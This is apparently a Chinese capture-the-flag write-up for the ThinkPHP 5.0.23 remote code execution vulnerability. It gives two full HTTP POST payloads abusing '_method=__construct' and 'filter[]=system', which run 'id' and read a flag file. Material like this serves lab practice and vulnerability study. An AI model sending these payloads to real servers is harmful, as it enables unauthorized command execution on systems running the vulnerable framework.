thinkphp-rce2
题目描述:
ThinkPHP5 5.0.23 远程代码执行漏洞
题目提示:
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
参考链接:
环境启动后,访问http://your-ip即可看到默认的ThinkPHP启动页面。
漏洞复现
发送数据包:
POST /index.php?s=captcha HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
读取flag
POST /index.php?s=captcha HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat+/flag.txt
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